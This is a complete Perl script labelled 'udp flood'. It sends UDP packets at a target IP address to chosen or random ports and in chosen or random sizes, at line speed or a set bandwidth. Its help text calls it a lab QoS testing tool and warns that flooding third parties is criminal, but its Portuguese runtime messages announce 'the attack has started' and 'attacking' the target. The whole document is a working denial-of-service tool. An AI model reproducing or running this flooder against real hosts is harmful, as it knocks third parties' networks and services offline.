update

#!/usr/bin/perl
#####################################################
# udp flood.
######################################################

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw   = 0;
our $help = 0;
our $delay= 0;

GetOptions(
        "port=i" => \$port,             # UDP port to use, numeric, 0=random
        "size=i" => \$size,             # packet size, number, 0=random
        "bandwidth=i" => \$bw,          # bandwidth to consume
        "time=i" => \$time,             # time to run
        "delay=f"=> \$delay,            # inter-packet delay
        "help|?" => \$help);            # help


my ($ip) = @ARGV;

if ($help || !$ip) {
  print <<'EOL';
flood.pl --port=dst-port --size=pkt-size --time=secs
         --bandwidth=kbps --delay=msec ip-address

Defaults:
  * random destination UDP ports are used unless --port is specified
  * random-sized packets are sent unless --size or --bandwidth is specified
  * flood is continuous unless --time is specified
  * flood is sent at line speed unless --bandwidth or --delay is specified

Usage guidelines:
  --size parameter is ignored if both the --bandwidth and the --delay
    parameters are specified.

  Packet size is set to 256 bytes if the --bandwidth parameter is used
    without the --size parameter

  The specified packet size is the size of the IP datagram (including IP and
  UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.

Warnings and Disclaimers:
  Flooding third-party hosts or networks is commonly considered a criminal activity.
  Flooding your own hosts or networks is usually a bad idea
  Higher-performace flooding solutions should be used for stress/performance tests
  Use primarily in lab environments for QoS tests
EOL
  exit(1);
}

if ($bw && $delay) {
  print "WARNING: computed packet size overwrites the --size parameter ignored\n";
  $size = int($bw * $delay / 8);
} elsif ($bw) {
  $delay = (8 * $size) / $bw;
}

$size = 256 if $bw && !$size;

($bw = int($size / $delay * 8)) if ($delay && $size);

my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "O Ataque foi iniciado !\n";
print "Atacando $ip " . ($port ? $port : "") . "" .
  ($size ? "$size-byte" : "com pacotes de tamanho") . " aleatorios " . ($time ? " por $time seconds" : "") . "\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;
print "Parar ataque, aperte Ctrl-C\n" unless $time;
print "http://www.youtube.com/showertfm\n";

die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  usleep(1000 * $delay) if $delay;
}